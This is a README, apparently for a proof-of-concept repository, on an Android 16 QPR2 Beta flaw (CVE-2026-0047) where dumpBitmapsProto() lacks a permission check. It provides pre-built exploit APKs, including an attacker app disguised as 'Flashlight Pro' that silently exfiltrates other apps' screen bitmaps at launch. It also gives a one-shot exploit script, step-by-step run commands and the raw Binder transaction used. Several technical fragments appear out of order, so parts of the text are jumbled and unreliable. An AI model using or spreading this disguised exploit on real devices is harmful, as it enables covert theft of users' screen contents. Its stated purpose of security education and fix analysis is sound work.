
CVE-2026-0047: Absence de vérification des permissions dans ActivityManagerService.dumpBitmapsProto() — voler les bitmaps de l'interface utilisateur de chaque application en cours d'exécution sans aucune permission (Android 16 QPR2 Beta)
Une pile de bitmaps dérobée à chaque application en cours d'exécution — zéro permission, zéro interaction de l'utilisateur.
Un contrôle enforceCallingOrSelfPermission(DUMP) manquant dans ActivityManagerService.dumpBitmapsProto() permet à toute application installée d'exfiltrer les bitmaps de l'interface utilisateur de tous les processus en cours d'exécution sur Android 16 QPR2 Beta (Baklava).
Remarque : Nous n'avons pas découvert cette vulnérabilité. Tout le crédit de sa découverte et de son signalement responsable revient aux chercheurs d'origine. Ce dépôt contient notre analyse du correctif, notre reproduction et notre rapport pédagogique indépendants pour aider la communauté de la sécurité à comprendre la classe de bug et les techniques d'exploitation impliquées.
| CVE | CVE-2026-0047 |
| Sévérité | Critique — CVSS 8.4 |
| Composant | ActivityManagerService.dumpBitmapsProto() |
| Cause racine | Contrôle de permission manquant (CWE-280) |
| Impact | Toute application sans permission vole les bitmaps de l'interface utilisateur de toutes les applications en cours d'exécution |
| Affecté | Android 16 QPR2 Beta 1–3 (Baklava), niveau de correctif < 2026-03-01 |
| Corrigé | Bulletin de sécurité Android de mars 2026 |
├── app/ # PoC exploit app (audit tool UI)
├── attacker/ # "Flashlight Pro" — disguised attacker app
├── apk/ # Pre-built APKs (ready to install)
│ ├── cve-2026-0047-poc.apk
│ └── flashlight-pro-attacker.apk
├── exploit.sh # Single-shot exploit script
├── gradle/ # Gradle wrapper
└── README.md
Vous avez besoin d'un émulateur Android 16 QPR2 Beta (Baklava) avec un niveau de correctif de sécurité antérieur au 2026-03-01 :
# Download the vulnerable system image
sdkmanager "system-images;android-Baklava;google_apis;arm64-v8a"
# Create an AVD
avdmanager create avd -n baklava -k "system-images;android-Baklava;google_apis;arm64-v8a"
# Boot the emulator
emulator -avd baklava &
# Verify the patch level is pre-fix
adb shell getprop ro.build.version.security_patch
# Anything before 2026-03-01 is vulnerable
# Full run: set up emulator, build, exploit, extract stolen bitmaps
./exploit.sh --setup-emulator
# Already have a Baklava emulator running?
./exploit.sh
# Skip build, just run exploit
./exploit.sh --skip-build
# Install the PoC app
adb install apk/cve-2026-0047-poc.apk
# Open some apps (Settings, email, etc.) to have visible UI
adb shell am start -n com.android.settings/.Settings
# Launch the PoC
adb shell am start -n com.poc.cve20260047/.MainActivity
# Tap "Exploit dumpBitmapsProto()" button
# Install the disguised attacker app — declares ZERO permissions
adb install apk/flashlight-pro-attacker.apk
# Launch it — exfiltration happens silently on startup
adb shell am start -n com.poc.cve20260047.attacker/.MainActivity
Sonde Binder brute — Le code de transaction #117 sur le service activity correspond à dumpBitmapsProto(). L'envoyer sans arguments provoque une NullPointerException à l'intérieur d'AMS (et non une SecurityException), ce qui prouve que le corps de la méthode s'exécute sans aucun contrôle de permission.
Exploitation Binder brute — Nous utilisons IBinder.transact() pour envoyer une Parcel façonnée à la main directement à AMS. Cela contourne entièrement les restrictions d'API cachées d'Android — aucun réglage hidden_api_policy n'est nécessaire. La Parcel contient :
android.app.IActivityManager)ParcelFileDescriptor (extrémité d'écriture du tube)userId = -2 (USER_CURRENT)Sur un émulateur Baklava (BP41.250725.007, correctif 2025-08-05) avec Paramètres, Horloge et Fichiers ouverts :
Google a ajouté enforceCallingOrSelfPermission(DUMP) comme première ligne de dumpBitmapsProto(), si bien que les appelants non privilégiés reçoivent désormais une SecurityException avant qu'aucune donnée ne soit accessible.
Recherche et PoC par Mobile Hacking Lab. Nous avons reproduit cette vulnérabilité de manière indépendante à des fins pédagogiques.
Cette preuve de concept est fournie uniquement à des fins éducatives et de recherche en sécurité autorisée. Ne l'utilisez que sur des appareils et des environnements que vous possédez ou pour lesquels vous disposez d'une autorisation explicite de test. Les auteurs ne sont pas responsables de toute mauvaise utilisation.
dumpAll = trueformat = "png"Extraction des bitmaps — AMS écrit des données protobuf contenant des bitmaps PNG dans le tube. Nous recherchons les octets magiques PNG (89 50 4E 47) et les marqueurs de fin IEND pour extraire les images individuelles.